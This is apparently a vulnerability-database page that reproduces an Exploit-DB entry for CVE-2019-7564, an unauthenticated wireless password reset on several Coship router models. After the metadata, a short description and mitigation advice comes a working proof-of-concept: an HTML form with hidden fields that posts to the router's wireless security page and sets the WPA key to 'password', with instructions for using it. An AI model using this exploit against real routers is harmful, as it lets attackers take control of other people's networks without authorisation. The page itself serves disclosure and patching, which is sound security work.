Coship Wireless Router – Wireless SSID Unauthenticated Password Reset

vendor:

Wireless Router

by:

Adithyan AK

9.8

CVSS

CRITICAL

Password Reset

287

CWE

Product Name: Wireless Router

Affected Version From: Coship RT3052 - 4.0.0.48

Affected Version To: Coship RT7620 - 10.0.0.49

Patch Exists: YES

Related CWE: CVE-2019-7564

CPE: h:coship:rt3052

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: MacOS Mojave v.10.14

2019

Coship Wireless Router – Wireless SSID Unauthenticated Password Reset

A vulnerability in Coship Wireless Routers allows an unauthenticated attacker to reset the password of the Wireless SSID to 'password'. This is done by sending a POST request to the router's gateway address with the parameters specified in the exploit code. The affected versions are Coship RT3052 - 4.0.0.48, Coship RT3050 - 4.0.0.40, Coship WM3300 - 5.0.0.54, Coship WM3300 - 5.0.0.55, Coship RT7620 - 10.0.0.49.

Mitigation:

Users should update their routers to the latest version available and ensure that the router is configured with a strong password.

Source

Exploit-DB raw data:

# Exploit Title: Coship Wireless Router – Wireless SSID Unauthenticated Password Reset
# Date: 07.02.2019
# Exploit Author: Adithyan AK
# Vendor Homepage: http://en.coship.com/
# Category: Hardware (WiFi Router)
# Affected Versions *: *Coship RT3052 - 4.0.0.48, Coship RT3050 - 4.0.0.40, Coship WM3300 - 5.0.0.54, Coship WM3300 - 5.0.0.55, Coship RT7620 - 10.0.0.49.
# Tested on: MacOS Mojave v.10.14
# CVE: CVE-2019-7564

#POC :

# Change the X.X.X.X in poc to Router Gateway address and save the below code as Exploit.html
# Open Exploit.html with your Browser
# Click on “Submit request”
# The password of the Wireless SSID will be changed to "password"

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://X.X.X.X/regx/wireless/wl_security_2G.asp
<http://router-ip/regx/wireless/wl_security_2G.asp>" method="POST">
      <input type="hidden" name="wl&#95;wep" value="disabled" />
      <input type="hidden" name="wl&#95;auth&#95;mode" value="none" />
      <input type="hidden" name="page" value="wl&#95;security&#95;2G&#46;asp" />
      <input type="hidden" name="wl&#95;unit" value="0" />
      <input type="hidden" name="action" value="Apply" />
      <input type="hidden" name="wl&#95;auth" value="0" />
      <input type="hidden" name="wl&#95;akm" value="psk&#32;psk2" />
      <input type="hidden" name="wl&#95;crypto" value="tkip&#43;aes" />
      <input type="hidden" name="wl&#95;wpa&#95;gtk&#95;rekey" value="0" />
      <input type="hidden" name="wl&#95;wpa&#95;psk" value="password" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>